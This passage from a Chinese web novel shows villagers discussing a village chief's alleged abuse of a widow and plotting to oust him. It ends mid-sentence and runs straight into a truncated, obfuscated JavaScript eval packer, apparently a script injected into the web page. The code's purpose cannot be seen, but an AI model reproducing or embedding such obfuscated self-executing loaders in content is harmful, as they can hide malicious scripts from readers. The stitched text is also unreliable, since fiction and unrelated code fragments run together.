都能干出来。”他说着,把自己听说的事跟其他人说了,“村尾那个寡妇你们知道不,就长得挺好看那个,她男人才死了一个多月。”
“知道,怎么了?”
“我听说村长半夜偷偷爬那小寡妇的床头,给人那啥了!”
“什么!”
“这简直是畜生!”
“所以我说啊,村长继续这样做,肯定能激起民愤!”胡海见几人如此反应,又继续道,“这些年村长不知道做了多少畜生事,大家以前就是不敢罢了,现在村长又帮不上大家忙,要我说,就是让他把这个村长让出来也行。”
这样一说,章玉鸣也突然想起了一些事,“虎蛋的娘亲……”
“什么意思?!”几人疑惑。
“你们还记得上次去镇上虎蛋非要跟去吗?”
“记得,怎么了?”
“虎蛋去医馆买了堕胎药。”
此话一出,四人沉默了很长时间,虎蛋平白无故买堕胎药肯定是给他娘买的,他娘一个寡妇,要是大着肚子肯定要被人唾骂。
“说他是畜生都是夸他!”胡海呸了一声,又怒又愤。
这么说,这个村长还真是坏事做尽了。
“不行!必须得想法子弄他!至少不能再让他做这些伤天害理的事!”
“再说吧。”章玉鸣也有想法,不过他有更重要的事,当务之急是先赚钱再说。
“你前些日子说的赚钱的法子详细说说。”
“现在不行了。”胡海气还没消呢,声音也稍稍有些大,他摇摇头道,“山路封了咱们出不去,要想干也得开春等雪化了再说。”
“行。”那就是这个冬天得先熬过去了。
“不谋划你的大业了?”胡海故意说道,他们可是知道的,章玉鸣这人,心不在这个村子里,小时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){re